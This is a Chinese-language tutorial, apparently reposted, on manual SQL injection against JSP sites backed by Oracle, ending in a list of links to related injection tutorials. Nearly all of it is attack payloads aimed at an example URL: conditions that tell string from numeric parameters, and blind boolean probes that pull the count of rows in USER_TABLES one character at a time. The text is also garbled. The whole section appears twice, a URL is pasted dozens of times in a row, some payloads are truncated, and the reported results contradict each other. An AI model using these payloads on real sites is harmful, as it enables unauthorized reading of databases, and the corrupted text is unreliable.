JSP手工注入
来源:互联网 发布:智能图像优化处理器 编辑:程序博客网 时间:2024/04/30 22:51
1、 判断注入类型(数字型还是字符型)
字符型和数字型数据判断:(希望有人能进一步的细化,细分为数字型和字符型判断两部分)
And user>char(0)
And userhttp://www.test.net/index_kaoyan_view.jsp?id=117' And user>char(0) And '1'='1
' And userchar(0) And '%25'='
' And userchar(0) And (' ')=('
') And userhttp://www.test.net/index_kaoyan_view.jsp?id=117 And str(98)>str(97)
And str(98)
' And str(98)>str(97) And '1'='1
' And str(98)str(97) And '%25'='
' And userhttp://www.test.net/index_kaoyan_view.jsp?id=117' And str(98)str(97) And (' ')=('
') And str(98)
出现正常的页面:
And USER>CHR(0)
And USER
2、 猜解表数量和表名
数据库数量为3:
And 0<=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)
And 1>=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)
And 2<=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)
And 4>=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)
And 3=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)
And UNISTR(1)>UNISTR(0)
以下为猜解数据表数量
数据表第一位为:1
And 52=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1))
And 52>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1))
And 49=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1))
数据表第二位为:3
And 49=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 95=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 77=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 77>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 70=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 70>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 67=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 67>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 65=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 65>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 109=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 109>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 102=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 102>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 99=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 99>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 97=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 97>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 53=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 53>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 51=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
数据表第三位为:1
And 51=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 95=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 77=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 77>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 70=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 70>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 67=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 67>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 65=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 65>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 109=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 109>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 102=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 102>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 102>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 99=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 99>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 97=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 97>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 54=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 54>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 52=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 52>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 52>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 49=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117
字符型和数字型数据判断:(希望有人能进一步的细化,细分为数字型和字符型判断两部分)
And user>char(0)
And userhttp://www.test.net/index_kaoyan_view.jsp?id=117' And user>char(0) And '1'='1
' And userchar(0) And '%25'='
' And userchar(0) And (' ')=('
') And userhttp://www.test.net/index_kaoyan_view.jsp?id=117 And str(98)>str(97)
And str(98)
' And str(98)>str(97) And '1'='1
' And str(98)str(97) And '%25'='
' And userhttp://www.test.net/index_kaoyan_view.jsp?id=117' And str(98)str(97) And (' ')=('
') And str(98)
出现正常的页面:
And USER>CHR(0)
And USER
2、 猜解表数量和表名
数据库数量为3:
And 0<=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)
And 1>=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)
And 2<=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)
And 4>=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)
And 3=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)
And UNISTR(1)>UNISTR(0)
以下为猜解数据表数量
数据表第一位为:1
And 52=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1))
And 52>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1))
And 49=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1))
数据表第二位为:3
And 49=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 95=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 77=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 77>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 70=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 70>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 67=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 67>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 65=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 65>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 109=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 109>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 102=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 102>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 99=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 99>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 97=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 97>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 53=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 53>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 51=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
数据表第三位为:1
And 51=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 95=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 77=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 77>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 70=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 70>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 67=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 67>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 65=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 65>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 109=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 109>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 102=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 102>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 102>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 99=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 99>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 97=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 97>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 54=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 54>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 52=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 52>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 52>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 49=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117
- JSP手工注入
- 手工注入之jsp篇
- 手工注入之jsp篇
- 手工注入
- 手工注入
- 手工注入
- 手工检测jsp站注入点常用语句
- 黑客注入之手工注入
- SQL注入(手工注入)
- 手工检测可否注入
- 手工SQL注入教程
- ASP+acc手工注入
- 手工注入笔记
- 手工注入摘记
- 手工SQL注入入侵
- sql手工注入
- 手工php注入总结
- 手工PHP注入详解
- 还原数据库时发生错误,提示'逻辑文件 'XX' 不是数据库 'XX' 的一部分"之类的错误
- 给大家发一个SQL注入实战教程吧
- 如何保持Oracle数据库的优良性能
- 国内十大破解论坛
- SQL注入总结大全
- JSP手工注入
- C#实现类似qq的屏幕截图程序
- QQ聊天灌水机简要分析
- Web开发者的实用网址
- 推荐一个正在发展的论坛--测试论坛中的《读者》
- 如何查找SQL注入点
- 黑客动画吧50个注入教程
- XMLBEANS 2.0 —— 一位JAVA开发人员的视点
- vi使用技巧